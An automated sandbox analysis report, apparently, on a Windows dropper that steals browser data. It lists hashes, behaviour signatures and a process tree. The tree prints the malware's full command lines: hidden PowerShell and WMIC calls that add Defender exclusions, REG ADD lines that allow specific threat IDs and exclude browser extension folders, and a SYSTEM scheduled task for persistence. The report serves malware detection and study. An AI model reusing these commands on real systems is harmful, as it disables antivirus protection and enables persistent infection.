Analysis

  • max time kernel
    135s
  • max time network
    104s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/07/2024, 09:01

General

  • Target

    f82f0e7836322bed4e1b8a1f7e5619562f19fc0a15747a038b314eba809e3066.exe

  • Size

    7.2MB

  • MD5

    0639ed183f736cdc2720fbff7f0232be

  • SHA1

    17c64a7299f09907c036f9a3e1495ccf24ef6088

  • SHA256

    f82f0e7836322bed4e1b8a1f7e5619562f19fc0a15747a038b314eba809e3066

  • SHA512

    89ea2950143b6cd521c1f326a21a19b5d256b975cb7193050d92306ff50a48f3b7d6fa256e934bae5724e387c36ed9a28c1bafee89b091c836d738797b526f51

  • SSDEEP

    196608:91O0VLeIvAdN2mWrWNYwlNvnLnEnY1JK+Or4uvWWoNCNR0q:3OGZAD2B0YmvnLigjOEuuVINl

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 29 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f82f0e7836322bed4e1b8a1f7e5619562f19fc0a15747a038b314eba809e3066.exe
    "C:\Users\Admin\AppData\Local\Temp\f82f0e7836322bed4e1b8a1f7e5619562f19fc0a15747a038b314eba809e3066.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4272
    • C:\Users\Admin\AppData\Local\Temp\7zS30C4.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3984
      • C:\Users\Admin\AppData\Local\Temp\7zS32B8.tmp\Install.exe
        .\Install.exe /modidiM "385137" /S
        3⤵
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:620
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m ping.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1716
          • C:\Windows\SysWOW64\cmd.exe
            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3944
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2812
              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:868
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /CREATE /TN "bRGikqFCffkwOXLBIB" /SC once /ST 09:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS32B8.tmp\Install.exe\" Fh /DHspdidbpSM 385137 /S" /V1 /F
          4⤵
          • Drops file in Windows directory
          • Scheduled Task/Job: Scheduled Task
          PID:4032
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 620 -s 1132
          4⤵
          • Program crash
          PID:1744
  • C:\Users\Admin\AppData\Local\Temp\7zS32B8.tmp\Install.exe
    C:\Users\Admin\AppData\Local\Temp\7zS32B8.tmp\Install.exe Fh /DHspdidbpSM 385137 /S
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Modifies data under HKEY_USERS
    • Suspicious use of WriteProcessMemory
    PID:3780
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
      2⤵
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3860
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1936
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
          4⤵
            PID:2468
        • C:\Windows\SysWOW64\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
          3⤵
            PID:3128
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
            3⤵
              PID:3456
            • C:\Windows\SysWOW64\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
              3⤵
                PID:3632
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                3⤵
                  PID:4140
                • C:\Windows\SysWOW64\reg.exe
                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                  3⤵
                    PID:668
                  • C:\Windows\SysWOW64\reg.exe
                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                    3⤵
                      PID:3900
                    • C:\Windows\SysWOW64\reg.exe
                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                      3⤵
                        PID:4604
                      • C:\Windows\SysWOW64\reg.exe
                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                        3⤵
                          PID:4488
                        • C:\Windows\SysWOW64\reg.exe
                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                          3⤵
                            PID:4964
                          • C:\Windows\SysWOW64\reg.exe
                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                            3⤵
                              PID:3112
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:3696
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:3748
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:3516
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:1316
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:1588
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:4588
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:2216
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:4820
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:1624
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:2376
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:2684
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:2100
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:1768
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:4784
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:5112
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:4164
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:4196
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\GIQQUhncIGKFfsOrPfR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\GIQQUhncIGKFfsOrPfR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LSzduEfHsNpU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LSzduEfHsNpU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dNSKkTdIqXSDC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dNSKkTdIqXSDC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fhnTwgTKABUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fhnTwgTKABUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lIJEFxkNU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lIJEFxkNU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\PUnbqvJlgjHAWzVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\PUnbqvJlgjHAWzVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\EAXvJtSASasFHtiXl\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\EAXvJtSASasFHtiXl\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\UnkSsAUmPJldPerG\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\UnkSsAUmPJldPerG\" /t REG_DWORD /d 0 /reg:64;"
                                                              2⤵
                                                              • Drops file in System32 directory
                                                              • Modifies data under HKEY_USERS
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:4240
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GIQQUhncIGKFfsOrPfR" /t REG_DWORD /d 0 /reg:32
                                                                3⤵
                                                                  PID:3168
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GIQQUhncIGKFfsOrPfR" /t REG_DWORD /d 0 /reg:32
                                                                    4⤵
                                                                      PID:264
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GIQQUhncIGKFfsOrPfR" /t REG_DWORD /d 0 /reg:64
                                                                    3⤵
                                                                      PID:1356
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LSzduEfHsNpU2" /t REG_DWORD /d 0 /reg:32
                                                                      3⤵
                                                                        PID:3844
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LSzduEfHsNpU2" /t REG_DWORD /d 0 /reg:64
                                                                        3⤵
                                                                          PID:1888
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dNSKkTdIqXSDC" /t REG_DWORD /d 0 /reg:32
                                                                          3⤵
                                                                            PID:3120
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dNSKkTdIqXSDC" /t REG_DWORD /d 0 /reg:64
                                                                            3⤵
                                                                              PID:4972
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fhnTwgTKABUn" /t REG_DWORD /d 0 /reg:32
                                                                              3⤵
                                                                                PID:1508
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fhnTwgTKABUn" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:1784
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lIJEFxkNU" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:4480
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lIJEFxkNU" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:316
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\PUnbqvJlgjHAWzVB /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:3544
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\PUnbqvJlgjHAWzVB /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:8
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:5060
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:1152
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:3768
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:2372
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\EAXvJtSASasFHtiXl /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:4688
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\EAXvJtSASasFHtiXl /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:4064
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\UnkSsAUmPJldPerG /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:3720
                                                                                                      • C:\Windows\SysWOW64\reg.exe
